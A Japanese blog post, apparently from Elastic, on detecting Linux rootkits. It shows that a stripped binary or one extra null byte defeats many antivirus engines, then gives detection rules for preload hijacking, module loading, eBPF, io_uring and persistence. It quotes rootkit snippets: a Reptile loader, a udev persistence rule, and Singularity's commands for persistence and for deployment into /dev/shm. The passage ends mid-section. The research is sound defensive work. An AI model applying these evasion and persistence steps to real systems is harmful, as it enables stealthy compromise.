Ruben GroenewoudRemco Sprooten

Linuxに夢中:ルートキット検出エンジニアリング

全2回シリーズの第2回となる本稿では、Linuxのルートキット検出技術について、静的検出への依存の限界と、ルートキットの挙動検出の重要性に焦点を当てて解説します。

22分で読めますマルウェア分析内部構造
Linuxに夢中:ルートキット検出エンジニアリング

はじめに

第1部では、Linuxルートキットの仕組み、すなわちその進化、分類、そしてユーザー空間とカーネル空間を操作するための手法について考察しました。この第2部では、検出工学について考察します。まず、バイナリがわずかに変更されただけでも、Linuxルートキットに対して静的検出がしばしば信頼できない理由を示し、次に防御側が代わりに利用できる動作シグナルとランタイムシグナルについて説明します。共有オブジェクトの悪用やLKMのロードから、eBPF、io_uring、永続性、防御回避まで、この記事では実際の環境におけるルートキットの活動を検知・調査するための実践的な方法に焦点を当てています。

VirusTotalによる静的検出

行動検出技術に焦点を当てる前に、従来の静的検出メカニズムがLinuxルートキットをどの程度正確に検出できるかを検証することは有益である。そのため、従来のシグネチャベースのウイルス対策検出の代替手段としてVirusTotalを用いた小規模な実験を行った。公開されている研究論文やオープンソースのリポジトリから、10種類のLinuxルートキットのデータセットを収集した。各サンプルは、VirusTotalにアップロードされるか、既存の提出データから取得された。

各ルートキットについて、元のバイナリを不正なウイルスとして検出したアンチウイルスエンジンの数を記録した。次に、さらに2つのテストを実施しました。

  1. strip --strip-allを使用して作成された、シンボルテーブルやその他の不要なメタデータを削除したバイナリ。
  2. 元のファイルにヌルバイトを1つ追加するだけで作成された、ごく単純に改変されたバイナリファイル:意図的に単純な変更。

目的は高度な難読化によって検出を回避することではなく、最も単純なバイナリ変更に直面した場合に、静的署名がどれほど脆弱であるかを評価することであった。

表1:分析対象ルートキットデータセットの技術概要

ルートキット基本的な検出剥ぎ取られたヌルバイトが追加されました
アザゼル36/6619/6621/66
悪魔*32/6632/6621/66
壊れたPKG7/663/663/66
ジアモルフィン33/668/6422/66
コロナ27/661/6615/66
モブキット29/666/6617/66
爬虫類32/663/6620/66
スナペキット30/663/6619/66
シンビオート42/668/6622/66
トリプルクロス31/6617/6619/66

* Bedevilはデフォルトでストリップされているため、基本検出とストリップ検出は同じです

観測

予想通り、バイナリから不要な情報を削除すると、一般的に検出率が大幅に低下した。いくつかのケースでは検出率がほぼゼロにまで低下しており、一部のウイルス対策エンジンはシンボル情報やその他の容易に削除できるメタデータに大きく依存していることが示唆される。さらに注目すべきは、ヌルバイトを1つ追加した場合の影響です。この変更はプログラムのロジック、実行フロー、動作を変更するものではありませんが、多くのサンプルに対する検出精度を著しく低下させます。

これは、静的な署名ベースの検出における根本的な弱点を浮き彫りにしている。1バイトの変更で検出結果に大きな影響を与える可能性がある場合、攻撃者は静的スキャナーを回避するために高度な難読化技術を必要としない。

ルートキットにおける難読化技術

興味深いことに、このデータセットに含まれるルートキットのほとんどは、高度な静的難読化をほとんど、あるいは全く用いていない。難読化が行われている場合でも、通常は文字列や設定データの単純なXORエンコード、あるいはバイナリレイアウトをわずかに変更する軽量なパッキング技術に限られる。これらの方法は実装コストが低く、多くの静的署名を無効化するのに十分である。

これらのサンプルにおいて、より高度な難読化技術が用いられていないことは注目に値する。多くはオープンソースの概念実証型ルートキットであり、積極的に検出を回避することを目的とするのではなく、技術を実証するために設計されている。しかし、難読化が最小限または全く行われていない場合でも、静的検出は信頼性に欠けることが判明している。

静的検出だけでは不十分な理由

この実験は重要な点を改めて強調している。すなわち、静的検出だけでは、ルートキットを確実に検出するには根本的に不十分であるということだ。静的シグネチャの脆弱性(特に些細な変更に対して)は、防御側がファイルベースの指標やハッシュベースの検出に頼って巧妙な脅威を発見できないことを意味する。

バイナリを変更しても動作に影響がない場合、唯一残る一貫したシグナルは、実行時のルートキットの動作のみとなる。そのため、このブログの残りの部分では、静的なアーティファクトから動的な分析と動作検出へと焦点を移し、ルートキットがオペレーティングシステムとどのように相互作用し、実行フローを操作し、実行中に観測可能な痕跡を残すかを検証します。

まさにそこで、探知工学はより困難になると同時に、はるかに効果的なものとなるのです。

動的検出工学

ユーザーランドのルートキットロード検出技術

ユーザーランドのルートキットは、カーネルレベルのアクセスを必要とせずに、動的リンク処理を乗っ取り、悪意のある共有オブジェクトをターゲットプロセスに注入することが多い。感染は、共有オブジェクトファイルの作成から始まります。新しく作成された共有オブジェクトファイルの検出は、以下に示すような検出ルールによって行うことができます。

file where event.action == "creation" and
(file.extension like~ "so" or file.name like~ "*.so.*")

これらのファイルは、多くの場合、 /tmp//dev/shm/などの書き込み可能なパスまたは一時的なパス、あるいはユーザーのホームディレクトリの下にある隠しサブディレクトリに書き込まれます。攻撃者は、ローダーから直接、ダウンロード、コンパイル、またはドロップする可能性があります。この知識は、上記の検出ルールに適用することでノイズを低減できる。

例えば、上記のテレメトリでは、脅威アクターがscpを使用して共有オブジェクトファイルを/tmp内の隠しサブディレクトリにダウンロードし、それをライブラリディレクトリに移動して、紛れ込もうとしていることがわかります。私たちは、以下の方法でこれおよび類似の脅威を検出しました。

共有オブジェクトファイルがシステム上に存在する場合、攻撃者はそれをアクティブ化するためのいくつかの選択肢を持つ。最も悪用されやすいメカニズムは、 LD_PRELOAD環境変数、 /etc/ld.so.preloadファイル、および/etc/ld.so.confなどの動的リンカー構成パスです。

環境変数LD_PRELOAD使用すると、攻撃者は動的にリンクされたバイナリの実行中に、他のライブラリよりも先にロードされる共有オブジェクトを指定できます。これにより、 libc関数、例えばexecve()open() 、またはreaddir()を完全にオーバーライドできます。この方法はプロセスごとに動作し、root権限は必要ありません。

この手法を検出するには、環境変数LD_PRELOADのテレメトリが必要です。これが利用可能になれば、珍しいLD_PRELOAD値を検出するための検出ロジックを記述できます。例えば:

process where event.type == "start" and event.action == "exec" and
process.env_vars != null

図1に示すように、これは攻撃者にとって次の段階だった。攻撃者はlibz.so.1 /tmp/.X12-unix/libz.so.1から/usr/local/lib/libz.so.1に移動しました。

より高い精度を実現するために、 new_termsルールタイプを使用してこのロジックを実装し、 LD_PRELOAD変数内の以前に見られなかった共有オブジェクトエントリのみにフラグを立てました。

もちろん、 LD_PRELOADLD_LIBRARY_PATH以外の環境変数が収集される場合は、上記のルールを変更して、これら2つの項目を具体的に含める必要があります。ノイズを低減するためには、統計分析やベースライン設定を実施する必要がある。

別の活性化方法として、 /etc/ld.so.preloadファイルを利用する方法があります。このファイルが存在する場合、動的リンカーはリストされている共有オブジェクトをシステム上のすべての動的リンクされたバイナリに挿入するように強制され、結果としてグローバルな挿入が行われます。

同様の方法として、動的リンカーの設定を変更して、悪意のあるライブラリパスを優先させる方法がある。これは、 /etc/ld.so.conf変更するか、 /etc/ld.so.conf.d/にエントリを追加し、その後ldconfigを実行してキャッシュを更新することで実現できます。これにより、 libc.so.6などの重要なライブラリの解決パスが変更されます。

これらのシナリオは、 /etc/ld.so.preloadファイルと/etc/ld.so.confファイル、および/etc/ld.so.conf.d/ディレクトリの作成/変更イベントを監視することで検出できます。この生のテレメトリデータを使用して、これらのイベントを検出するためのルールを実装できます。

file where event.action in ("creation", "rename") and
file.path like ("/etc/ld.so.preload", "/etc/ld.so.conf", "/etc/ld.so.conf.d/*")

共有オブジェクトが作成され、その後ダイナミックリンカーが変更されるという一連の流れはよく見られます。

これは、以下の検出ルールによって検出されます。

同一ホスト上でこれら2つのアラートが連続して発生した場合は、調査が必要である。

カーネル空間におけるルートキットのロード検出技術

LKM を手動でロードするには、通常、 modprobeinsmodkmodなどの組み込みのコマンドラインユーティリティを使用する必要があります。これらのユーティリティの実行を検出することで、ロードフェーズ(手動で実行した場合)を検出できます。

process where event.type == "start" and event.action == "exec" and (
  (process.name == "kmod" and process.args == "insmod" and
   process.args like~ "*.ko*") or
  (process.name == "kmod" and process.args == "modprobe" and
   not process.args in ("-r", "--remove")) or
  (process.name == "insmod" and process.args like~ "*.ko*") or
  (process.name == "modprobe" and not process.args in ("-r", "--remove"))
)

多くのオープンソースのルートキットはローダーなしで公開されており、プリインストールされたLKMローディングユーティリティに依存している。一例としてSingularityがあり、これはload_and_persistence.shスクリプトを提供し、いくつかのアクションを実行した後、最終的にinsmod "$MODULE_DIR/$MODULE_NAME.ko"を呼び出します。コマンドではinsmodが呼び出されていますが、実際にはinsmod内部的にはkmodであり、 insmodプロセス引数として渡されます。Singularityの負荷の例:

これは、以下の検出ルールによって容易に検出できます。

しかし、この検出方法は決して万全とは言えず、多くのルートキットはLKMをロードするためにローダーに依存しており、それによってこれらのユーザーランドユーティリティの実行を回避してしまう。

例えば、 Reptileのローダーは、メモリ内で復号化されたカーネルブロブを使用してinit_moduleシステムコールを直接呼び出します。

#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)

int main(void) {
    [...]
    do_decrypt(reptile_blob, len, DECRYPT_KEY);
    module_image = malloc(len);
    memcpy(module_image, reptile_blob, len);
    init_module(module_image, len, "");
    [...]
}

さらに、 Reptileのkmatryoshkaモジュールは、 kallsyms_on_each_symbol()を介してsys_init_moduleへの直接関数ポインタを使用して別の隠しLKMを復号化してロードするカーネル内チェーンローダーとして機能します。これにより、読み込みメカニズムがユーザーランドからさらに見えにくくなる。

そのため、これらのユーティリティが内部で何をしているのかを理解することが不可欠です。これらは単にinit_module()finit_module()システムコールをラップしているだけです。したがって、効果的な検出は、これらのシステムコールを呼び出すツールではなく、システムコール自体を直接追跡することに重点を置くべきである。

LKMをロードするために必要なデータソースの可用性を確保するため、さまざまなセキュリティツールを使用することができます。AuditdまたはAuditd Managerが適切な選択肢です。init_module()finit_moduleシステムコールの収集を容易にするために、以下の設定を実装できます。

-a always,exit -F arch=b64 -S finit_module -S init_module
-a always,exit -F arch=b32 -S finit_module -S init_module

この生のテレメトリデータと、このイベントが発生した際にアラートを発する検出ルールを組み合わせることで、強力な防御が可能になります。

driver where event.action == "loaded-kernel-module" and
auditd.data.syscall in ("init_module", "finit_module")

この戦略により、ロードイベントに使用されるユーティリティの種類に関係なく、カーネルモジュールのロードを検出できるようになります。以下の例では、 Diamorphineルートキットの真陽性検出例を示しています。

この既成ルールは、こちらから入手できます。

Auditd を使用した Linux 検出エンジニアリングに関する追加のガイダンスは、 「Auditd を使用した Linux 検出エンジニアリング」の研究で説明されています。

ツリー外モジュールおよび署名なしモジュール

悪意のあるLKMのもう一つの兆候は、カーネルの「汚染」フラグの存在です。カーネルは、公式のカーネルツリーに含まれていないモジュール、有効な署名がないモジュール、または非寛容なライセンスを使用しているモジュールがロードされたことを検出すると、そのカーネルを「汚染された」とマークします。これは、カーネルが潜在的に信頼できない状態にあることを示す、組み込みの整合性メカニズムです。以下にその例を示します。ここではreveng_rtkitモジュールがロードされています。

[ 2853.023215] reveng_rtkit: loading out-of-tree module taints kernel.
[ 2853.023219] reveng_rtkit: module license 'unspecified' taints kernel.
[ 2853.023220] Disabling lock debugging due to kernel taint
[ 2853.023297] reveng_rtkit: module verification failed: signature and/or required key missing - tainting kernel

カーネルは、このモジュールをツリー外のモジュールであり、ライセンスが指定されておらず、暗号化検証が欠落していると認識します。その結果、カーネルは汚染されているとマークされる。

この動作を検出するには、システムログとカーネルログを解析して取り込む必要があります。カーネルログのテレメトリが利用可能になれば、単純なパターンマッチングやルールベースの検出によってこれらのイベントを特定できます。ツリー外モジュールのロードは、以下の方法で検出できます。

event.dataset:"system.syslog" and process.name:"kernel" and
message:"loading out-of-tree module taints kernel."

同様の検出ロジックを実装することで、符号なしモジュールの読み込みを検出することも可能です。

event.dataset:"system.syslog" and process.name:"kernel" and
message:"module verification failed: signature and/or required key missing - tainting kernel"

上記の検出ロジックを使用して、テレメトリでSingularityのロードを試みた際に真陽性を観測しました。

これらのルールはデフォルトで以下の場所で利用可能です。

ログエントリには、イベントをトリガーしたモジュール名が必ず表示されるため、容易なトリアージが可能になります。このアラートによってトリガーされた手動チェック中にLKMがシステムに存在しない場合、LKMが自身を隠蔽している可能性を示している。

キルシグナル

多くの(オープンソースの)ルートキットは、 killシグナル、特に割り当てられていない高次の範囲(32以上)のシグナルを、秘密の通信チャネルまたは悪意のあるアクションのトリガーとして利用します。例えば、ルートキットは特定の高番号のkillシグナル(例: kill -64 <pid> )を傍受する可能性があります。この信号を受信すると、ルートキットのペイロードは、権限昇格、コマンド実行、隠蔽機能の切り替え、またはバックドアの設置を行うように設定できる。

これを検出するには、Auditd を活用して、すべてのキルシグナルを収集するルールを作成できます。

-a exit,always -F arch=b64 -S kill -k kill_rule

kill()に渡された引数はkill(pid, sig)です。a1 (シグナル)を照会して、32を超えるキルシグナルをフラグ付けすることができます。

process where event.action == "killed-pid" and
auditd.data.syscall == "kill" and auditd.data.a1 in (
"21", "22", "23", "24", "25", "26", "27", "28", "29", "2a",
"2b", "2c", "2d", "2e", "2f", "30", "31", "32", "33", "34",
"35", "36", "37", "38", "39", "3a", "3b", "3c", "3d", "3e",
"3f", "40", "41", "42", "43", "44", "45", "46", "47"
)

Auditd を介してkill()システムコールを分析し、異常なシグナル値を検出することは、Diamorphine などで採用されている手法に見られるように、これらのシグナルを利用するルートキットに対する強力な検出機会となります。殺害関連の事前構築済みルールは以下から入手できます。

セグメンテーション違反

最後に、カーネル空間ルートキットは本質的に脆弱であることを認識することが不可欠である。LKMは通常、特定のカーネルバージョンと構成に合わせてコンパイルされます。シンボルが正しく解決されなかったり、メモリへの書き込みが正しく行われなかったりすると、セグメンテーション違反が発生する可能性があります。これらの不具合は、ルートキットの機能を直ちに露呈させるものではないかもしれないが、強力なフォレンジック上の手がかりとなる。

これを検出するには、生のsyslog収集を有効にする必要があります。そこから、セグメンテーション違反メッセージを検出するルールを作成することで、悪意のある動作またはカーネルの不安定性を特定するのに役立ちます。どちらの場合も調査が必要です。

event.dataset:"system.syslog" and process.name:"kernel" and message:"segfault"

この検出ルールは、構成要素ルールとしてすぐに利用できます。

システムコールレベルのモジュールロードの可視性と、カーネルの汚染、ツリー外メッセージ、キルシグナルの検出、セグメンテーション違反アラートを組み合わせることで、LKMベースのルートキットを検出するための階層型戦略の基盤が構築されます。

eBPFルートキット

eBPFルートキットは、LinuxカーネルのBPFサブシステムの正当な機能を悪用します。プログラムは、 bpftoolようなユーティリティを使用したり、 bpf()システムコールを悪用するカスタムローダーを使用したりして、動的にロードおよびアタッチできます。

eBPFベースのルートキットを検出するには、 bpf()システムコールと機密性の高いeBPFヘルパーの使用状況の両方を把握する必要があります。関連する主要指標は以下のとおりです。

  • bpf(BPF_MAP_CREATE, ...)
  • bpf(BPF_MAP_LOOKUP_ELEM, ...)
  • bpf(BPF_MAP_UPDATE_ELEM, ...)
  • bpf(BPF_PROG_LOAD, ...)
  • bpf(BPF_PROG_ATTACH, ...)

Auditdを活用することで、 a0を使用して特定のBPFシステムコールを指定する監査ルールを作成できます。

-a always,exit -F arch=b64 -S bpf -F a0=0 -k bpf_map_create
-a always,exit -F arch=b64 -S bpf -F a0=1 -k bpf_map_lookup_elem
-a always,exit -F arch=b64 -S bpf -F a0=2 -k bpf_map_update_elem
-a always,exit -F arch=b64 -S bpf -F a0=5 -k bpf_prog_load
-a always,exit -F arch=b64 -S bpf -F a0=8 -k bpf_prog_attach

これらは、eBPFを活用する良性プログラム(EDRやその他の監視ツールなど)がノイズを生成しないように、環境ごとに調整する必要があります。もう一つ重要なシグナルは、eBPFヘルパー関数の使用です。

bpf_probe_write_user ヘルパー関数

bpf_probe_write_userヘルパーを使用すると、カーネル空間のeBPFプログラムがユーザーランドメモリに直接書き込むことができます。この機能はデバッグを目的としているが、ルートキットによって悪用される可能性がある。

検出は依然として困難ですが、Linuxカーネルは一般的にbpf_probe_write_userなどの機密性の高いヘルパーの使用をログに記録します。これらのエントリを監視することで検出の機会が得られますが、そのためには生のsyslog収集と、以下のような特定の検出ルールが必要です。

event.dataset:"system.syslog" and process.name:"kernel" and
message:"bpf_probe_write_user"

このルールは、 bpf_probe_write_userの使用を示すカーネルログエントリがあれば警告を発します。正規のツールが時折これを呼び出すことはあるが、予期せぬ使用や頻繁な使用、特に疑わしいプロセス動作と併せて使用される場合は、調査が必要である。eBPFプログラムの接続ポイントや関連するユーザーランドプロセスなどのコンテキストは、トリアージに役立ちます。この検出ルールはこちらから入手できます。

以下に、このロジックによって検出された真陽性の明白な例をいくつか示します。

このルールは、 nysm (ステルス性の高いポストエクスプロイトコンテナ)とboopkit (LinuxのeBPFバックドア)に対して発動します。

io_uringルートキット

ARMOの研究(2025)は、非同期I/Oの設計であるio_uring活用して、観測可能なシステムコール活動を減らし、標準的なテレメトリを回避する新しい防御回避技術を導入しました。この手法はカーネルバージョン5.1以降に限定され、フックの使用を回避します。この手法は最近ルートキット研究者によって発見されたものだが、現在も活発に開発が進められており、その機能セットは比較的未成熟な状態にある。この技術を活用しているツールの一例として、 RingReaperが挙げられます。ルートキットは、 io_uring_enter()を介してファイル、ネットワーク、その他の I/O 操作をバッチ処理できます。以下にコード例を示します。

struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_read(sqe, fd, buf, size, offset);
io_uring_submit(&ring);

これらの呼び出しは、 io_uringを使用して読み取り要求をキューに追加して送信し、通常のシステムコールのテレメトリパスをバイパスします。

システムコール テーブル フックやLD_PRELOADベースのインジェクションとは異なり、 io_uringルートキット配信メカニズムそのものではなく、侵害後にファイルシステムやデバイスとやり取りするためのよりステルス性の高い手段を提供します。io_uringexecveのような機能がないため)バイナリを直接実行することはできませんが、ファイルの作成、列挙、データ漏洩などの悪意のある行為を可能にし、同時に監視される可能性を最小限に抑えます。

io_uringベースのルートキットを検出するには、 io_uring_setup()io_uring_enter()io_uring_register()などの動作を支えるシステムコールを可視化する必要があります。

EDRソリューションはio_uringの間接的な影響を捉えるのに苦労するかもしれませんが、Auditdはこれらのシステムコールを直接追跡できます。以下の監査ルールは、分析に必要な関連イベントを捕捉します。

-a always,exit -F arch=b64 -k io_uring
-S io_uring_setup -S io_uring_enter -S io_uring_register

しかし、これはシステムコールの使用状況自体を明らかにするだけであり、アクセスされている特定のファイルやオブジェクトを明らかにするものではありません。io_uringの真の「魔法」はユーザーランドライブラリ (例: liburing ) 内で発生するため、システムコール引数の分析が不可欠になります。

例えば、 io_uring_enter() to_submit > 0と共に監視することは、I/O 操作がバッチ処理されていることを示し、 min_complete > 0との呼び出しを交互に行うことは、完了ポーリングを示しています。プロセス属性(例:UID=0、 /dev/shm/tmptmpfsなどの異常なパス、バックエンドの場所)と相関させることで、検出効率が向上します。

io_uring活動を追跡する実用的な方法は、 BCCのようなツールを使用した eBPF を介して、 sys_enter_io_uring_enterのようなトレースポイントを対象とすることです。これにより、アナリストはio_uring操作中のプロセス動作とアクティブなファイルディスクリプタを監視できます。

tracepoint:syscalls:sys_enter_io_uring_enter
{
    printf("\nPID %d (%s) called io_uring_enter with fd=%d, to_submit=%d, min_complete=%d, flags=%d\n",
        pid, comm, args->fd, args->to_submit, args->min_complete, args->flags);

    printf("Manually inspect with: ls -l /proc/%d/fd\n", pid);
}

これを説明するために、RingReaperによって導入されたいくつかのテクニックをテストした。ライブトレースでは、使用されているファイルディスクリプタが明らかになり、 /run/utmpからの読み取りなどの不審なアクティビティを特定して、どのユーザーがログインしているかを検出するのに役立ちます。

この例では、 /root/testにファイルを書き込むアクティビティ:

または、アクティブなPIDごとにcomm内容を読み取ることで、 psを介してプロセス情報を一覧表示します。

システムコール監視はio_uring使用状況を明らかにしますが、追加の相関分析なしにはI/Oの性質を直接明らかにすることはできません。io_uringは比較的新しい技術であるため、まだステルス性が高いですが、いくつかの制限もあります。io_uringコードを直接実行することはできませんが、攻撃者はファイル書き込み (cron ジョブ、udev ルールなど) を悪用して、遅延実行や間接実行を実現する可能性があります。これは、Reptile およびSedexpマルウェアファミリーが使用する永続化技術によって実証されています。

ルートキットの永続化技術

ルートキットは、ユーザーランドであろうとカーネル空間であろうと、再起動やユーザーセッションをまたいで機能し続けるためには、何らかの永続性を必要とする。ルートキットの種類や権限によって手法は異なりますが、一般的には設定ファイル、サービス管理、またはシステム初期化スクリプトの悪用が用いられます。

ユーザーランド・ルートキット – 環境変数の永続化

LD_PRELOADを使用してユーザーランド ルートキットをアクティブ化する場合、デフォルトではその動作は永続的ではありません。永続性を実現するために、攻撃者はシェル初期化ファイル(例: ~/.bashrc~/.zshrc 、または/etc/profile )を変更して、 LD_PRELOADLD_LIBRARY_PATHなどの環境変数をエクスポートする可能性があります。これらの変更により、新しいシェルセッションはすべて、ルートキットをアクティブ化するために必要な環境を自動的に継承するようになります。特筆すべきは、これらのファイルはユーザーコンテキストとルートコンテキストの両方に存在することである。したがって、特権を持たないユーザーであっても、自身の特権レベルで実行フローを乗っ取るような永続的な仕組みを導入することが可能です。

これを検出するには、以下に示すようなルールを使用できます。

file where event.action in ("rename", "creation") and file.path like (
  // system-wide configurations
  "/etc/profile", "/etc/profile.d/*", "/etc/bash.bashrc",
  "/etc/bash.bash_logout", "/etc/zsh/*", "/etc/csh.cshrc",
  "/etc/csh.login", "/etc/fish/config.fish", "/etc/ksh.kshrc",

  // root and user configurations
  "/home/*/.profile", "/home/*/.bashrc", "/home/*/.bash_login",
  "/home/*/.bash_logout", "/home/*/.bash_profile", "/root/.profile",
  "/root/.bashrc", "/root/.bash_login", "/root/.bash_logout",
  "/root/.bash_profile", "/root/.bash_aliases", "/home/*/.bash_aliases",
  "/home/*/.zprofile", "/home/*/.zshrc", "/root/.zprofile", "/root/.zshrc",
  "/home/*/.cshrc", "/home/*/.login", "/home/*/.logout", "/root/.cshrc",
  "/root/.login", "/root/.logout", "/home/*/.config/fish/config.fish",
  "/root/.config/fish/config.fish", "/home/*/.kshrc", "/root/.kshrc"
)

環境によっては、これらのシェルのいくつかは使用されていない可能性があり、たとえばbashまたはzshのみに焦点を当てた、よりカスタマイズされた検出ルールが作成される可能性があります。Elastic DefendとElasticのファイル整合性監視統合を使用した完全な検出ロジックについては、こちらをご覧ください。

詳細については、この永続化技術の完全な解説と、その悪用を検出するための他のいくつかの方法については、 「Linux Detection Engineering - A primer on persistence mechanisms」で説明されています。

ユーザーランド・ルートキット – 設定に基づく永続化

/etc/ld.so.preload/etc/ld.so.conf 、または/etc/ld.so.conf.d/構成ファイルを変更することで、ルートキットはユーザーやセッションをまたいでグローバルに永続化することができます(この永続化ベクトルの詳細については、「Linux検出エンジニアリング - 永続化メカニズムの続き」を参照してください)。一度書き込まれると、これらの設定が明示的に元に戻されない限り、ダイナミックリンカーは悪意のある共有オブジェクトの挿入を継続します。これらの手法は、意図的に永続的な性質を持つように設計されている。検出戦略は前のセクションで説明した戦略と同様であり、これらのパスにおけるファイルの作成または変更イベントを監視することに基づいています。

カーネル空間ルートキット – LKM永続性

ユーザーランドのルートキットと同様に、LKMはデフォルトでは永続的ではありません。攻撃者は、起動時に悪意のあるモジュールを再ロードするようにシステムを明示的に設定する必要がある。これは通常、正規のカーネルモジュールロードメカニズムを活用することによって実現されます。

モジュールファイル: modules

このファイルには、システム起動時に自動的にロードされるべきカーネルモジュールが一覧表示されています。ここに悪意のある.koファイル名を追加すると、 modprobe起動時にそれをロードすることが保証されます。このファイルは/etc/modulesにあります。

設定ディレクトリ modprobe

このディレクトリには、 modprobeユーティリティの設定ファイルが含まれています。攻撃者は、エイリアシングを使用してルートキットを偽装したり、特定のカーネルイベントが発生したとき(たとえば、デバイスがプローブされたとき)にルートキットを自動的にロードしたりする可能性があります。これらの modprobe 設定ファイルは、 /etc/modprobe.d//run/modprobe.d//usr/local/lib/modprobe.d//usr/lib/modprobe.d//lib/modprobe.d/にあります。

起動時にロードされるカーネルモジュールを設定する: modules-load.d

これらの設定ファイルは、ブートプロセスの初期段階でロードするモジュールを指定し、 /etc/modules-load.d//run/modules-load.d//usr/local/lib/modules-load.d//usr/lib/modules-load.d/にあります。

上記に挙げたすべての永続化手法を検出するには、以下のような検出ルールを作成できます。

file where event.action in ("rename", "creation") and file.path like (
  "/etc/modules",
  "/etc/modprobe.d/*",
  "/run/modprobe.d/*",
  "/usr/local/lib/modprobe.d/*",
  "/usr/lib/modprobe.d/*",
  "/lib/modprobe.d/*",
  "/etc/modules-load.d/*",
  "/run/modules-load.d/*",
  "/usr/local/lib/modules-load.d/*",
  "/usr/lib/modules-load.d/*"
)

上記に挙げたすべてのパスを単一の検出ルールに統合した、あらかじめ作成されたルールは、こちらから入手できます。

この方法を用いて永続性を自動的に展開するルートキットの一例として、Singularityが挙げられる。展開プロセスにおいて、以下のコマンドが実行されます。

read -p "Enter the module name (without .ko): " MODULE_NAME
CONF_DIR="/etc/modules-load.d"
mkdir -p "$CONF_DIR"
echo "[*] Setting up persistence..."
echo "$MODULE_NAME" > "$CONF_DIR/$MODULE_NAME.conf"

デフォルトでは、これはsingularity.conf/etc/modules-load.d/の下に新しいエントリとして作成されることを意味します。テレメトリデータを見ると、新しいファイルの作成を監視するだけで、この手法を検出できます。

これらのディレクトリは良性のLKMにも使用されるため、偽陽性が発生しやすい。別の永続化方法としては、トリガーまたはスケジュールベースの手法を用いて、ローダーを実行することでカーネルモジュールをロードする方法がある。

Udevベースの永続化 – Reptileの例

あまり一般的ではないが強力な永続化方法として、動的なデバイスイベントを処理するLinuxデバイスマネージャであるudevを悪用する方法がある。Udevは、特定の条件が満たされた場合に、ルールに基づいたスクリプトを実行します。この技術の詳細な解説は、 『Linux Detection Engineering - A Sequel on Persistence Mechanisms』で紹介されています。Reptileルートキットは、 /etc/udev/rules.d/の下に悪意のあるudevルールをインストールすることで、この手法を実証しています。

ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile"

このルールは、Levelblueが発見したSedexpマルウェアの着想源として用いられた可能性が高い。ルールの仕組みは以下のとおりです。

  • ACTION=="add"システムに新しいデバイスが追加されたときにトリガーされます。
  • ENV{MAJOR}=="1": メジャー番号「1」を持つデバイスに一致します。通常は、 /dev/mem/dev/null/dev/zero/dev/randomなどのメモリ関連デバイスです。
  • ENV{MINOR}=="8": 条件をさらに/dev/randomに絞り込みます。
  • RUN+="/lib/udev/reptile"上記デバイスが検出されると、Reptileローダーバイナリを実行します。

このルールは、 /dev/randomデバイスがロードされるたびにローダーバイナリの実行をトリガーすることで、永続性を確立します。数多くのシステムアプリケーションやブートプロセスに不可欠な、広く使用されている乱数発生器として、この方法は効果的です。アクティベーションは特定のデバイスイベントでのみ発生し、実行はudev daemonを介してroot権限で行われます。この手法を検出するには、以下のような検出ルールを作成できます。

file where event.action in ("rename", "creation") and file.extension == "rules" and file.path like (
  "/lib/udev/*",
  "/etc/udev/rules.d/*",
  "/usr/lib/udev/rules.d/*",
  "/run/udev/rules.d/*",
  "/usr/local/lib/udev/rules.d/*"
)

これらのファイルの作成と変更については、以下の事前定義済みルールで対応しています。

一般的な持続メカニズム

カーネルモジュールのロードパスに加えて、攻撃者は、ローダーを介してユーザーランドまたはカーネル空間のルートキットを再ロードするために、より一般的なLinuxの永続化手法を利用する可能性があります。

Systemd : 起動時にローダーをサポートする任意のディレクトリ (例: /etc/systemd/system/ ) の下にサービス/タイマーを作成または追加します

file where event.action in ("rename", "creation") and file.path like (
  "/etc/systemd/system/*", "/etc/systemd/user/*",
  "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*",
  "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
  "/home/*.config/systemd/user/*", "/home/*.local/share/systemd/user/*",
  "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
) and file.extension in ("service", "timer")

初期化スクリプト:悪意のある実行制御( /etc/rc.local )、 SysVinit ( /etc/init.d/ )、またはUpstart ( /etc/init/ ) スクリプトを作成または追加します。

file where event.action in ("creation", "rename") and
file.path like (
  "/etc/init.d/*", "/etc/init/*", "/etc/rc.local", "/etc/rc.common"
)

Cronジョブ:ローダーを繰り返し実行できるようにするcronジョブを作成または追加します

file where event.action in ("rename", "creation") and
file.path like (
  "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
  "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*",
  "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*",
  "/var/spool/anacron/*"
)

sudoers :バックドアとして悪意のあるsudoers設定を作成または追加します

file where event.type in ("creation", "change") and
file.path like "/etc/sudoers*"

これらの方法は広く用いられており、柔軟性があり、プロセス履歴やファイル変更のテレメトリを用いることで容易に検出できる場合が多い。

これらの永続化手法を検出するための、あらかじめ構築された検出ルールの一覧を以下に示します。

ルートキット防御回避技術

ルートキットは定義上、防御システムを回避するためのツールであるが、多くは展開中および展開後に検出されないようにするための追加的な技術を実装している。これらの手法は、ログに記録されることを避け、エンドポイント検出エージェントを回避し、一般的な調査ワークフローを妨害するように設計されています。次のセクションでは、現代のLinuxルートキットが用いる主要な回避技術を、その攻撃対象別に分類して概説します。

展開時に隠密性を維持しようとする試み

フォレンジックの観点から見ると、脅威アクターは一般的に、巧妙な実行戦術に重点を置いている。例えば、攻撃者は/dev/shm共有メモリディレクトリからペイロードを保存および実行することができます。これは完全に仮想的なファイルシステムであるため、ペイロードがディスクにアクセスすることはありません。これは鑑識の観点からは素晴らしいことですが、行動検知エンジニアとしては、この行動は非常に疑わしく、異例だと感じます。

例えば、実際の脅威アクターではないものの、Singularityの開発者は次のような展開方法を提案している。

cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
sudo bash scripts/x.sh

この動作をほぼゼロの誤検出率で検出するために、いくつかのトリップワイヤーを設置する必要があります。まずは、GitHubリポジトリを/dev/shmディレクトリにクローンすることから始めます。

sequence by process.entity_id, host.id with maxspan=10s
  [process where event.type == "start" and event.action == "exec" and (
     (process.name == "git" and process.args == "clone") or
     (
       process.name in ("wget", "curl") and
       process.command_line like~ "*github*"
     )
  )]
  [file where event.type == "creation" and
   file.path like ("/tmp/*", "/var/tmp/*", "/dev/shm/*")]

